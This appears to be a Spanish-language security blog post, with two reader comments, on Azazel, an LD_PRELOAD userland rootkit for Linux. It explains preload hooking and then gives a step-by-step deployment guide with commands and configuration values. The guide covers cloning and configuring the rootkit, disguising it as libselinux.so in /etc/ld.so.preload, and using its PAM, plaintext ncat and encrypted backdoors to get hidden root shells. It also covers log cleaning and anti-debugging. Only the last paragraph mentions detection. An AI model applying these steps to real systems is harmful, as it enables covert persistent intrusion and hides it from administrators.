Azazel: el nuevo rootkit de entorno de usuario basado en preload

Para mejorar el rendimiento de los sistemas, las librerías compartidas permiten que varios programas accedan a la misma dirección de una función en lugar de cargar varias instancias de una misma en memoria. Estas librerías además pueden vincularse dinámicamente en tiempo de ejecución en lugar de forma estática durante la compilación.

Por defecto, un programa en Linux buscará las librerías compartidas necesarias en:
- la ruta indicada en la variable de entorno LD_LIBRARY_PATH
- las rutas contenidas en el fichero de caché /etc/ld.so.cache
- las rutas por defecto para las librerías: /lib y luego /usr/lib

Sin embargo, existe otra variable LD_PRELOAD en la que podemos especificar las librerías compartidas que se deben cargar antes que todas las demás. Esta característica se usa normalmente para depuración, aunque muchos programas como tsocks y checkinstall también la utilizan. De hecho en muchos sistemas existe el fichero /etc/ld.so.preload que contiene las rutas de acceso a las bibliotecas compartidas para precargar globalmente.
Como resultado todo el espacio de usuario, salvo aplicaciones compiladas estáticamente (lo cual es poco frecuente), utilizará funciones precargadas que se "superponen" a las estándar.

Como podéis imaginar, esta técnica también puede utilizarse para el mal...


"Toda la tierra ha sido corrompida por medio de las obras que fueron enseñadas por Azazel: a él se le atribuye todo pecado."  - 1 Enoc 2:8

Con LD_PRELOAD se pueden precargar funciones como strcpy(), etc. y volcar la salida a ficheros para obtener la información más adelante, u otras cosas más divertidas como hookear ssh, gpg, o cualquier aplicación en la que el usuario introduzca datos sensibles, sólo hay que encontrar las llamadas adecuadas.


Hace ya algunos años surgió un rootkit llamado Jynx que utilizaba LD_PRELOAD para hookear programas en tiempo de ejecución. Podemos decir que su sucesor es Azazel, un nuevo rootkit para Linux en modo usuario, escrito en C y que utiliza esta misma técnica. Eso sí, Azazel es más robusto y tiene características adicionales, y se centra en gran medida en métodos anti-debugging y anti-detección.

Sus principales características son:

- Anti-debugging
- Evita la detección por medio de unhide, lsof, ps y ldd
- Oculta archivos y directorios
- Oculta conexiones remotas
- Oculta procesos
- Oculta inicios de sesión
- Hooks PCAP que evitan sniffing local
- Dos backdoors "accept" con shells completos PTY
    . Crypthook encrypted accept() backdoor
    . Plaintext accept() backdoor
- Backdoor PAM para escalado de privilegios local y entrada remota
- Limpia logs de entradas utmp/wtmp
- Usa xor para ofuscar cadenas estáticas

Para la instalación y configuración inicial empezaremos descargando Azazel desde su repositorio oficial en Github:

$ git clone https://github.com/chokepoint/azazel.git
Cloning into 'azazel'...
remote: Counting objects: 44, done.
remote: Compressing objects: 100% (37/37), done.
remote: Total 44 (delta 14), reused 37 (delta 7)
Unpacking objects: 100% (44/44), done.

Antes del despliegue, podemos cambiar las variables contenidas en el fichero config.py. Los datos serán cifrados usando una clave XOR para no exponerlos en volcados de programas como "strings".

$ cd azazel
$ ls
azazel.c  config.py    crypthook.h  pam.c   README.md
azazel.h  const.h      LICENSE        pcap.c  xor.c
client.c  crypthook.c  Makefile     pcap.h  xor.h

$ vi config.py

#!/usr/bin/env python

def xor(x_str):
        return ''.join(list('\\x'+hex(ord(x) ^ 0xfe)[2:] for x in x_str))

# Change everything in this box
#-----------------------------------------------------------------------
LOW_PORT = "61040"                    # Lowest source port for plain text backdoor
HIGH_PORT = "61050"                   # Highest source port for plain text backdoor
CRYPT_LOW = "61051"                   # Lowest source port for crypthook backdoor
CRYPT_HIGH = "61060"                  # Highest source port for crypthook backdoor
PAM_PORT = "61061"                                        # Also hide this port, but don't trigger accept backdoors
MAGIC_STRING = "__"                   # Hide files with this string in the name

BLIND_LOGIN = "rootme"                # Username for ssh / su PAM backdoor.
C_ROOT = "root"                       # Give accept() users these privs
SHELL_MSG = "Welcome!\nHere's a shell: " # Welcome msg for remote user
SHELL_PASSWD = "changeme"             # Remote password for accept backdoors
SHELL_TYPE = "/bin/bash"              # Execute this as the shell

ANTI_DEBUG_MSG = "Don't scratch the walls"
CLEANUP_LOGS = "CLEANUP_LOGS"
                                                                     1,1 
# Crypthook key constants
PASSPHRASE = "Hello NSA"              # This is the crypto key. CHANGE THIS.
KEY_SALT = "changeme"                 # Used in key derivation. CHANGE THIS.
#-----------------------------------------------------------------------
...

 A continuación compilamos las fuentes (es posible que previamente tengamos que instalar dependencias como libpcap0.8-dev o libpam0g-dev)
$ make
cc -fPIC -g -c azazel.c pam.c xor.c crypthook.c pcap.c
cc -fPIC -shared -Wl,-soname,libselinux.so azazel.o xor.o pam.o crypthook.o pcap.o -lc -ldl -lpam -lutil -o libselinux.so
strip libselinux.so
 
Por defecto Azazel se instala así mismo en /lib/libselinux.so y añade una línea en /etc/ld.so.preload. Esto significa que hay que tener los permisos necesarios así que, para instalar el backdoor, será necesario haber escalado privilegios antes:
root@kali:/tmp/azazel# make install
[-] Initiating Installation Directory /lib
[-] Installing azazel
[-] Injecting azazel

root@kali:/tmp/azazel# cat /etc/ld.so.preload
/lib/libselinux.so

Ahora que hemos comprometido el sistema, vamos a ver cómo hacemos para implantar nuestro backdoor. Está claro que el principal objetivo es OpenSSH, y no sólo porque se trata de unos de los demonios más desplegados en todos los sistemas, si se logra comprometerlo facilita al atacante acceso completo y seguro(cifrado) y completo a la máquina de la víctima.

Lo más fácil sería sustituir el binario original por nuestra versión maliciosa de ssh, si bien facilitaríamos mucho las cosas al administrador del sistema si utiliza detección por firmas (como ossec u otro HIDS), o mantiene una lista actualizada de los ejecutables de hash en su sistema.

La solución por tanto pasa por comprometer sólo uno de sus componentes.

OpenSSH compila todas las funciones criptográficas necesarias directamente en el binario estándar, y lo hace precisamente para impedir la posibilidad de hookear llamadas a la API de la biblioteca OpenSSL.

Nuestro objetivo se dirige a los módulos PAM (Pluggable Authentication Modules). No obstante PAM también se protege en este aspecto y las variables del core de autenticación se almacenan en privado y sólo se puede acceder a través de las API adecuadas a fin de evitar que posibles atacantes hooken la librería y el acceso a la totalidad de la base de datos. Sin embargo aún tenemos un resquicio del que podemos aprovecharnos...

Cada una de las funciones del esquema de autenticación devuelve un PAM_SUCCESS si la información es correcta. Como comentamos no podemos acceder a los datos de las contraseñas pero, ¿y si hookeamos las funciones para devolver siempre un PAM_SUCESS? De esta manera cualquier contraseña facilitada para un usuario concreto definido en el backdoor será automáticamente aceptada y obtendremos acceso como root... ingenioso ¿verdad? ;)

Para ocultar además la conexión, Azazel incluye la librería compartida client:

$ make client
cc -fPIC client.c -shared -o client.so

$ LD_PRELOAD=./client.so ssh rootme@localhost
root@host:/ #

Incluso podemos usar el hook de PAM para escalar localmente privilegios:
$ su - rootme
#

Con el demonio sshd hookeado podemos también utilizar otros dos backdoors para conectarnos remotamente al sistema comprometido. Uno cuyo tráfico irá en texto plano, si bien localmente se ocultará la conexión (sniffing) y su detección:
$ ncat target 22 -p 61040
changeme
Welcome!
Here's a shell.
root@host:/root #

Y otro cifrado en Crypthook, un wrapper de cifrado AES para conexiones TCP/UDP:
$ git clone https://github.com/chokepoint/CryptHook.git
$ LD_PRELOAD=./crypthook.so ncat localhost 22 -p 61051
changeme
Welcome!
Here's a shell.
root@host:/root/ #

Azazel añade la posibilidad de limpiar logs mediante la variable de entorno CLEANUP_LOGS, oculta procesos (HIDE_THIS_SHELL) y posee algunas medidas antidebugging que irán mejorando en próximas versiones:
$ strace -p $PPID
Don't scratch the walls

Por último,
comentar que por supuesto Azazel no es totalmente indetectable. De hecho un método de detección simple pero efectivo es comparar la dirección de las syscalls cargadas directamente desde libc con la dirección "siguiente" a esa llamada del sistema. Mediante la comparación de los dos valores, se puede detectar con mayor precisión los rootkits de entorno de usuario basados en preload.

Fuentes:

- http://blackhatlibrary.net/Azazel
- http://www.blackhatlibrary.net/Jynx/2.0/PAM
- http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html

Comentarios

  1. rayos!!! esto si me ha dado miedito!!
    buena info!
    un saludo

    ResponderEliminar
  2. Nuevo material por el cual trachear para el modulo de Rootkits

    Gracias!

    ResponderEliminar

Publicar un comentario